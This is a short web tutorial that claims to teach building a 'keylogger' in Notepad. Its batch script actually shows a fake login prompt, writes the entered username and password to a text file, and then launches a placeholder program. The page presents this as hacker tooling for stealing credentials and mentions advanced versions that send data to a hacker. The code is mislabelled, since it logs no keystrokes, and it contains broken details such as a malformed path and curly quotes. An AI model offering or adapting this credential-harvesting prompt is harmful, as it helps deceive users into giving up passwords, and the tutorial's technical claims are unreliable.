In this tutorial, you will learn to create a simple Keylogger using Notepad which can log every Keystroke. Hackers use keyloggers to steal confidential data
A keylogger is a dangerous hacking tool which can run in the background without letting the user noticed.There are many keylogger software available online to download, don’t use any of them unless it is an open source one. Hackers use Keylogger to steal confidential data such as usernames, Passwords, Bank account detail, and credit card info. Let’s learn how to make a Keylogger in Notepad.
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How to make a Keylogger in Notepad
To make a Keylogger in Notepad you don’t need any software or programming knowledge. All you need is Notepad which is a simple text Editor and it is available in all versions of Windows.
Step 2: Go to StartMenu and open Notepad. Copy and paste the keylogger source code in the Notepad.
@echo off color a title Login cls echo Please Enter Your Email Address And Password echo. echo. cd “C:Logs” set /p user=Username: set /p pass=Password: echo Username=”%user%” Password=”%pass%” >> Log.txt start >>Program Here<< exit
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Step 3: Go to the File menu and Choose Save As.
Step 4: Give it a name as Logs.bat and save it in the Logs folder which is located on the Local Disk (C:)
Step 5: To test the Keylogger open Logs.bat file and type any Username and Password.
Step 6: Go to the Logs folder you will find a log.txt file open it to confirm your username and password.
That’s it now you know, How to make a Keylogger in Notepad although it is a simple keylogger but still this keylogger is enough to give you an idea how your keystrokes can be stored in a text file. An advance keylogger will run with Browsers and stores usernames, and passwords from sites like facebook and even it can send information automatically to the hacker.